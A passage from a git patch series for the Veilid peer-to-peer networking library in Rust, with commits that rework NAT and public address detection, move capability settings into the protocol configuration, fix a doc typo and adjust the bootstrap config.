do_manual_map_fut: SendPinBoxFuture> = Box::pin(async move { // Do a validate_dial_info on the external address, but with the same port as the local port of local interface, from a redirected node // This test is to see if a node had manual port forwarding done with the same port number as the local listener @@ -457,10 +479,15 @@ impl DiscoveryContext { .await { // Add public dial info with Direct dialinfo class - return Some(DetectedDialInfo::Detected(DialInfoDetail { - dial_info: external_1_dial_info_with_local_port, - class: DialInfoClass::Direct, - })); + return Some(DetectionResult { + ddi: DetectedDialInfo::Detected(DialInfoDetail { + dial_info: external_1_dial_info_with_local_port, + class: DialInfoClass::Direct, + }), + external_address_types: AddressTypeSet::only( + c_external_1.address.address_type(), + ), + }); } None @@ -475,7 +502,7 @@ impl DiscoveryContext { // Full Cone NAT Detection /////////// let this = self.clone(); - let do_nat_detect_fut: SendPinBoxFuture> = Box::pin(async move { + let do_nat_detect_fut: SendPinBoxFuture> = Box::pin(async move { let mut retry_count = { let c = this.unlocked_inner.net.config.get(); c.network.restricted_nat_retries @@ -487,7 +514,7 @@ impl DiscoveryContext { let c_this = this.clone(); let c_external_1 = external_1.clone(); - let do_full_cone_fut: SendPinBoxFuture> = + let do_full_cone_fut: SendPinBoxFuture> = Box::pin(async move { // Let's see what kind of NAT we have // Does a redirected dial info validation from a different address and a random port find us? @@ -502,10 +529,15 @@ impl DiscoveryContext { // Yes, another machine can use the dial info directly, so Full Cone // Add public dial info with full cone NAT network class - return Some(DetectedDialInfo::Detected(DialInfoDetail { - dial_info: c_external_1.dial_info, - class: DialInfoClass::FullConeNAT, - })); + return Some(DetectionResult { + ddi: DetectedDialInfo::Detected(DialInfoDetail { + dial_info: c_external_1.dial_info, + class: DialInfoClass::FullConeNAT, + }), + external_address_types: AddressTypeSet::only( + c_external_1.address.address_type(), + ), + }); } None }); @@ -514,7 +546,7 @@ impl DiscoveryContext { let c_this = this.clone(); let c_external_1 = external_1.clone(); let c_external_2 = external_2.clone(); - let do_restricted_cone_fut: SendPinBoxFuture> = + let do_restricted_cone_fut: SendPinBoxFuture> = Box::pin(async move { // We are restricted, determine what kind of restriction @@ -531,33 +563,43 @@ impl DiscoveryContext { .await { // Got a reply from a non-default port, which means we're only address restricted - return Some(DetectedDialInfo::Detected(DialInfoDetail { - dial_info: c_external_1.dial_info.clone(), - class: DialInfoClass::AddressRestrictedNAT, - })); + return Some(DetectionResult { + ddi: DetectedDialInfo::Detected(DialInfoDetail { + dial_info: c_external_1.dial_info.clone(), + class: DialInfoClass::AddressRestrictedNAT, + }), + external_address_types: AddressTypeSet::only( + c_external_1.address.address_type(), + ), + }); } // Didn't get a reply from a non-default port, which means we are also port restricted - Some(DetectedDialInfo::Detected(DialInfoDetail { - dial_info: c_external_1.dial_info.clone(), - class: DialInfoClass::PortRestrictedNAT, - })) + Some(DetectionResult { + ddi: DetectedDialInfo::Detected(DialInfoDetail { + dial_info: c_external_1.dial_info.clone(), + class: DialInfoClass::PortRestrictedNAT, + }), + external_address_types: AddressTypeSet::only( + c_external_1.address.address_type(), + ), + }) }); ord.push_back(do_restricted_cone_fut); // Return the first result we get - let mut some_ddi = None; + let mut some_dr = None; while let Some(res) = ord.next().await { - if let Some(ddi) = res { - some_ddi = Some(ddi); + if let Some(dr) = res { + some_dr = Some(dr); break; } } - if let Some(ddi) = some_ddi { - if let DetectedDialInfo::Detected(did) = &ddi { + if let Some(dr) = some_dr { + if let DetectedDialInfo::Detected(did) = &dr.ddi { // If we got something better than restricted NAT or we're done retrying if did.class < DialInfoClass::AddressRestrictedNAT || retry_count == 0 { - return Some(ddi); + return Some(dr); } } } @@ -575,7 +617,7 @@ impl DiscoveryContext { /// Add discovery futures to an unordered set that may detect dialinfo when they complete pub async fn discover( &self, - unord: &mut FuturesUnordered>>, + unord: &mut FuturesUnordered>>, ) { let enable_upnp = { let c = self.unlocked_inner.net.config.get(); @@ -593,16 +635,21 @@ impl DiscoveryContext { /////////// if enable_upnp { let this = self.clone(); - let do_mapped_fut: SendPinBoxFuture> = Box::pin(async move { + let do_mapped_fut: SendPinBoxFuture> = Box::pin(async move { // Attempt a port mapping via all available and enabled mechanisms // Try this before the direct mapping in the event that we are restarting // and may not have recorded a mapping created the last time if let Some(external_mapped_dial_info) = this.try_upnp_port_mapping().await { // Got a port mapping, let's use it - return Some(DetectedDialInfo::Detected(DialInfoDetail { - dial_info: external_mapped_dial_info.clone(), - class: DialInfoClass::Mapped, - })); + return Some(DetectionResult { + ddi: DetectedDialInfo::Detected(DialInfoDetail { + dial_info: external_mapped_dial_info.clone(), + class: DialInfoClass::Mapped, + }), + external_address_types: AddressTypeSet::only( + external_mapped_dial_info.address_type(), + ), + }); } None }); diff --git a/veilid-core/src/network_manager/native/mod.rs b/veilid-core/src/network_manager/native/mod.rs index 0cd77f0b..072bbdcc 100644 --- a/veilid-core/src/network_manager/native/mod.rs +++ b/veilid-core/src/network_manager/native/mod.rs @@ -684,7 +684,7 @@ impl Network { ///////////////////////////////////////////////////////////////// pub fn get_protocol_config(&self) -> ProtocolConfig { - self.inner.lock().protocol_config + self.inner.lock().protocol_config.clone() } #[instrument(level = "debug", err, skip_all)] @@ -790,14 +790,33 @@ impl Network { family_local.insert(AddressType::IPV6); } + // set up the routing table's network config + // if we have static public dialinfo, upgrade our network class + let public_internet_capabilities = { + PUBLIC_INTERNET_CAPABILITIES + .iter() + .copied() + .filter(|cap| !c.capabilities.disable.contains(cap)) + .collect::>() + }; + let local_network_capabilities = { + LOCAL_NETWORK_CAPABILITIES + .iter() + .copied() + .filter(|cap| !c.capabilities.disable.contains(cap)) + .collect::>() + }; + ProtocolConfig { outbound, inbound, family_global, family_local, + public_internet_capabilities, + local_network_capabilities, } }; - inner.protocol_config = protocol_config; + inner.protocol_config = protocol_config.clone(); protocol_config }; @@ -835,36 +854,17 @@ impl Network { // that we have ports available to us self.free_bound_first_ports(); - // set up the routing table's network config - // if we have static public dialinfo, upgrade our network class - let public_internet_capabilities = { - let c = self.config.get(); - PUBLIC_INTERNET_CAPABILITIES - .iter() - .copied() - .filter(|cap| !c.capabilities.disable.contains(cap)) - .collect::>() - }; - let local_network_capabilities = { - let c = self.config.get(); - LOCAL_NETWORK_CAPABILITIES - .iter() - .copied() - .filter(|cap| !c.capabilities.disable.contains(cap)) - .collect::>() - }; - editor_public_internet.setup_network( protocol_config.outbound, protocol_config.inbound, protocol_config.family_global, - public_internet_capabilities, + protocol_config.public_internet_capabilities, ); editor_local_network.setup_network( protocol_config.outbound, protocol_config.inbound, protocol_config.family_local, - local_network_capabilities, + protocol_config.local_network_capabilities, ); let detect_address_changes = { let c = self.config.get(); diff --git a/veilid-core/src/network_manager/native/network_class_discovery.rs b/veilid-core/src/network_manager/native/network_class_discovery.rs index adcdb92d..c0336fdd 100644 --- a/veilid-core/src/network_manager/native/network_class_discovery.rs +++ b/veilid-core/src/network_manager/native/network_class_discovery.rs @@ -104,7 +104,7 @@ impl Network { // Figure out if we can optimize TCP/WS checking since they are often on the same port let (protocol_config, tcp_same_port) = { let inner = self.inner.lock(); - let protocol_config = inner.protocol_config; + let protocol_config = inner.protocol_config.clone(); let tcp_same_port = if protocol_config.inbound.contains(ProtocolType::TCP) && protocol_config.inbound.contains(ProtocolType::WS) { @@ -126,9 +126,16 @@ impl Network { .collect(); // Clear public dialinfo and network class in prep for discovery + let mut editor = self .routing_table() .edit_routing_domain(RoutingDomain::PublicInternet); + editor.setup_network( + protocol_config.outbound, + protocol_config.inbound, + protocol_config.family_global, + protocol_config.public_internet_capabilities.clone(), + ); editor.clear_dial_info_details(None, None); editor.set_network_class(None); editor.clear_relay_node(); @@ -227,14 +234,18 @@ impl Network { } // Wait for all discovery futures to complete and apply discoverycontexts + let mut all_address_types = AddressTypeSet::new(); loop { match unord.next().timeout_at(stop_token.clone()).await { - Ok(Some(Some(ddi))) => { + Ok(Some(Some(dr))) => { // Found some new dial info for this protocol/address combination - self.update_with_detected_dial_info(ddi.clone()).await?; + self.update_with_detected_dial_info(dr.ddi.clone()).await?; + + // Add the external address kinds to the set we've seen + all_address_types |= dr.external_address_types; // Add WS dialinfo as well if it is on the same port as TCP - if let DetectedDialInfo::Detected(did) = &ddi { + if let DetectedDialInfo::Detected(did) = &dr.ddi { if did.dial_info.protocol_type() == ProtocolType::TCP && tcp_same_port { // Make WS dialinfo as well with same socket address as TCP let ws_ddi = DetectedDialInfo::Detected(DialInfoDetail { @@ -263,7 +274,18 @@ impl Network { } } - // All done, see if things changed + // All done + + // Set the address types we've seen + editor.setup_network( + protocol_config.outbound, + protocol_config.inbound, + all_address_types, + protocol_config.public_internet_capabilities, + ); + editor.commit(true).await; + + // See if the dial info changed let new_public_dial_info: HashSet = self .routing_table() .all_filtered_dial_info_details( diff --git a/veilid-core/src/network_manager/wasm/mod.rs b/veilid-core/src/network_manager/wasm/mod.rs index 5924c5eb..3de5c95a 100644 --- a/veilid-core/src/network_manager/wasm/mod.rs +++ b/veilid-core/src/network_manager/wasm/mod.rs @@ -349,14 +349,24 @@ impl Network { let family_global = AddressTypeSet::from(AddressType::IPV4); let family_local = AddressTypeSet::from(AddressType::IPV4); + let public_internet_capabilities = { + PUBLIC_INTERNET_CAPABILITIES + .iter() + .copied() + .filter(|cap| !c.capabilities.disable.contains(cap)) + .collect::>() + }; + ProtocolConfig { outbound, inbound, family_global, family_local, + local_network_capabilities: vec![], + public_internet_capabilities, } }; - self.inner.lock().protocol_config = protocol_config; + self.inner.lock().protocol_config = protocol_config.clone(); // Start editing routing table let mut editor_public_internet = self @@ -367,20 +377,11 @@ impl Network { // set up the routing table's network config // if we have static public dialinfo, upgrade our network class - let public_internet_capabilities = { - let c = self.config.get(); - PUBLIC_INTERNET_CAPABILITIES - .iter() - .copied() - .filter(|cap| !c.capabilities.disable.contains(cap)) - .collect::>() - }; - editor_public_internet.setup_network( protocol_config.outbound, protocol_config.inbound, protocol_config.family_global, - public_internet_capabilities, + protocol_config.public_internet_capabilities.clone(), ); editor_public_internet.set_network_class(Some(NetworkClass::WebApp)); @@ -454,7 +455,7 @@ impl Network { } pub fn get_protocol_config(&self) -> ProtocolConfig { - self.inner.lock().protocol_config + self.inner.lock().protocol_config.clone() } ////////////////////////////////////////// From 5f3fb954d8ce74a0a2b766f51a70a4342f06dea6 Mon Sep 17 00:00:00 2001 From: Derrick Oswald Date: Fri, 29 Sep 2023 08:11:49 +0200 Subject: [PATCH 83/86] fix minor typo Fixes the Progressive Web App configuration doc comment which has a typo in the word Progressive. --- veilid-core/src/veilid_config.rs | 2 +- veilid-python/veilid/schema/RecvMessage.json | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/veilid-core/src/veilid_config.rs b/veilid-core/src/veilid_config.rs index 505151b6..d74c3a8c 100644 --- a/veilid-core/src/veilid_config.rs +++ b/veilid-core/src/veilid_config.rs @@ -46,7 +46,7 @@ pub struct VeilidConfigHTTP { /// Application configuration /// -/// Configure web access to the Prograssive Web App (PWA) +/// Configure web access to the Progressive Web App (PWA) /// /// To be implemented... /// diff --git a/veilid-python/veilid/schema/RecvMessage.json b/veilid-python/veilid/schema/RecvMessage.json index a0dbbd3a..f4dcf69c 100644 --- a/veilid-python/veilid/schema/RecvMessage.json +++ b/veilid-python/veilid/schema/RecvMessage.json @@ -3176,7 +3176,7 @@ ] }, "VeilidConfigApplication": { - "description": "Application configuration\n\nConfigure web access to the Prograssive Web App (PWA)\n\nTo be implemented...", + "description": "Application configuration\n\nConfigure web access to the Progressive Web App (PWA)\n\nTo be implemented...", "type": "object", "required": [ "http", From 27c0f6e73aa854b5bab9174299f854aecbc98b8b Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Fri, 29 Sep 2023 09:38:12 -0400 Subject: [PATCH 84/86] fix dial info filter --- veilid-core/src/network_manager/send_data.rs | 8 ++- .../src/routing_table/routing_domains.rs | 52 +++++-------------- 2 files changed, 20 insertions(+), 40 deletions(-) diff --git a/veilid-core/src/network_manager/send_data.rs b/veilid-core/src/network_manager/send_data.rs index 6818dbc3..c7643984 100644 --- a/veilid-core/src/network_manager/send_data.rs +++ b/veilid-core/src/network_manager/send_data.rs @@ -375,10 +375,14 @@ impl NetworkManager { } }; - // Dial info filter comes from the target node ref - let dial_info_filter = target_node_ref.dial_info_filter(); + // Dial info filter comes from the target node ref but must be filtered by this node's outbound capabilities + let dial_info_filter = target_node_ref.dial_info_filter().filtered( + &DialInfoFilter::all() + .with_address_type_set(peer_a.signed_node_info().node_info().address_types()) + .with_protocol_type_set(peer_a.signed_node_info().node_info().outbound_protocols())); let sequencing = target_node_ref.sequencing(); + // If the node has had lost questions or failures to send, prefer sequencing // to improve reliability. The node may be experiencing UDP fragmentation drops // or other firewalling issues and may perform better with TCP. diff --git a/veilid-core/src/routing_table/routing_domains.rs b/veilid-core/src/routing_table/routing_domains.rs index 32eb0eec..3139ca1b 100644 --- a/veilid-core/src/routing_table/routing_domains.rs +++ b/veilid-core/src/routing_table/routing_domains.rs @@ -278,6 +278,8 @@ fn first_filtered_dial_info_detail_between_nodes( sequencing: Sequencing, dif_sort: Option> ) -> Option { + + // Consider outbound capabilities let dial_info_filter = (*dial_info_filter).filtered( &DialInfoFilter::all() .with_address_type_set(from_node.address_types()) @@ -569,48 +571,22 @@ impl RoutingDomainDetail for LocalNetworkRoutingDomainDetail { sequencing: Sequencing, dif_sort: Option>, ) -> ContactMethod { - // Scope the filter down to protocols node A can do outbound - let dial_info_filter = dial_info_filter.filtered( - &DialInfoFilter::all() - .with_address_type_set(peer_a.signed_node_info().node_info().address_types()) - .with_protocol_type_set(peer_a.signed_node_info().node_info().outbound_protocols()), - ); - - // Apply sequencing and get sort - // Include sorting by external dial info sort for rotating through dialinfo - // based on an external preference table, for example the one kept by - // AddressFilter to deprioritize dialinfo that have recently failed to connect - let (ordered, dial_info_filter) = dial_info_filter.with_sequencing(sequencing); - let sort: Option> = if ordered { - if let Some(dif_sort) = dif_sort { - Some(Box::new(move |a, b| { - let mut ord = dif_sort(a,b); - if ord == core::cmp::Ordering::Equal { - ord = DialInfoDetail::ordered_sequencing_sort(a,b); - } - ord - })) - } else { - Some(Box::new(move |a,b| { DialInfoDetail::ordered_sequencing_sort(a,b) })) - } - } else if let Some(dif_sort) = dif_sort { - Some(Box::new(move |a,b| { dif_sort(a,b) })) - } else { - None + + // Get the nodeinfos for convenience + let node_a = peer_a.signed_node_info().node_info(); + let node_b = peer_b.signed_node_info().node_info(); + + // Get the node ids that would be used between these peers + let cck = common_crypto_kinds(&peer_a.node_ids().kinds(), &peer_b.node_ids().kinds()); + let Some(_best_ck) = cck.first().copied() else { + // No common crypto kinds between these nodes, can't contact + return ContactMethod::Unreachable; }; - // If the filter is dead then we won't be able to connect - if dial_info_filter.is_dead() { - return ContactMethod::Unreachable; - } - - let filter = |did: &DialInfoDetail| did.matches_filter(&dial_info_filter); - - let opt_target_did = peer_b.signed_node_info().node_info().first_filtered_dial_info_detail(sort, filter); - if let Some(target_did) = opt_target_did { + if let Some(target_did) = first_filtered_dial_info_detail_between_nodes(node_a, node_b, &dial_info_filter, sequencing, dif_sort) { return ContactMethod::Direct(target_did.dial_info); } - + ContactMethod::Unreachable } } From c357a7499e9f1cef0ab3b643044b7cd09cc3dcc4 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Fri, 29 Sep 2023 17:21:20 -0400 Subject: [PATCH 85/86] fix recommended bootstrap config to exclude routes --- doc/config/veilid-bootstrap-config | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/config/veilid-bootstrap-config b/doc/config/veilid-bootstrap-config index 7988de7c..dd24ebce 100644 --- a/doc/config/veilid-bootstrap-config +++ b/doc/config/veilid-bootstrap-config @@ -17,7 +17,7 @@ logging: enabled: false core: capabilities: - disable: ['TUNL','SGNL','RLAY','DIAL','DHTV','APPM'] + disable: ['TUNL','SGNL','RLAY','DIAL','DHTV','APPM','ROUT'] network: upnp: false dht: From f59c4509ea7e0c0e8b1088138a6eb5297844b112 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sat, 30 Sep 2023 22:42:06 -0400 Subject: [PATCH 86/86] rework public address detection timing --- veilid-core/src/network_manager/native/mod.rs | 21 +++++++++++++++---- veilid-core/src/routing_table/mod.rs | 4 +++- .../src/routing_table/routing_table_inner.rs | 3 +++ 3 files changed, 23 insertions(+), 5 deletions(-) diff --git a/veilid-core/src/network_manager/native/mod.rs b/veilid-core/src/network_manager/native/mod.rs index 072bbdcc..ead28274 100644 --- a/veilid-core/src/network_manager/native/mod.rs +++ b/veilid-core/src/network_manager/native/mod.rs @@ -1017,14 +1017,27 @@ impl Network { let routing_table = self.routing_table(); let rth = routing_table.get_routing_table_health(); - // Need at least two entries to do this - if rth.unreliable_entry_count + rth.reliable_entry_count >= 2 { + // We want at least two live entries per crypto kind before we start doing this (bootstrap) + let mut has_at_least_two = true; + for ck in VALID_CRYPTO_KINDS { + if rth + .live_entry_counts + .get(&(RoutingDomain::PublicInternet, ck)) + .copied() + .unwrap_or_default() + < 2 + { + has_at_least_two = false; + break; + } + } + + if has_at_least_two { self.unlocked_inner.update_network_class_task.tick().await?; } } - // If we aren't resetting the network already, - // check our network interfaces to see if they have changed + // Check our network interfaces to see if they have changed if !self.needs_restart() { self.unlocked_inner.network_interfaces_task.tick().await?; } diff --git a/veilid-core/src/routing_table/mod.rs b/veilid-core/src/routing_table/mod.rs index 45823b14..2b7f9e6d 100644 --- a/veilid-core/src/routing_table/mod.rs +++ b/veilid-core/src/routing_table/mod.rs @@ -71,12 +71,14 @@ pub type SerializedBucketMap = BTreeMap; #[derive(Clone, Debug, Default, Eq, PartialEq)] pub struct RoutingTableHealth { - /// Number of reliable (responsive) entries in the routing table + /// Number of reliable (long-term responsive) entries in the routing table pub reliable_entry_count: usize, /// Number of unreliable (occasionally unresponsive) entries in the routing table pub unreliable_entry_count: usize, /// Number of dead (always unresponsive) entries in the routing table pub dead_entry_count: usize, + /// Number of live (responsive) entries in the routing table per RoutingDomain and CryptoKind + pub live_entry_counts: BTreeMap<(RoutingDomain, CryptoKind), usize>, /// If PublicInternet network class is valid yet pub public_internet_ready: bool, /// If LocalNetwork network class is valid yet diff --git a/veilid-core/src/routing_table/routing_table_inner.rs b/veilid-core/src/routing_table/routing_table_inner.rs index 0ec1224a..02b77754 100644 --- a/veilid-core/src/routing_table/routing_table_inner.rs +++ b/veilid-core/src/routing_table/routing_table_inner.rs @@ -925,10 +925,13 @@ impl RoutingTableInner { NetworkClass::Invalid ); + let live_entry_counts = self.cached_entry_counts(); + RoutingTableHealth { reliable_entry_count, unreliable_entry_count, dead_entry_count, + live_entry_counts, public_internet_ready, local_network_ready, }